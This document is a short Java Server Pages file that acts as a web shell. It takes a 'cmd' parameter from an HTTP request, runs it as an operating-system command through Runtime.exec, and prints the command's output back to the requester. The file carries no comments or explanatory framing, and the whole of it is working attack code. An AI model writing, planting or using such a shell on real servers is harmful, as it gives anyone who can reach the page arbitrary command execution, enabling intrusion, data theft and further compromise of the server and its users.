
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>
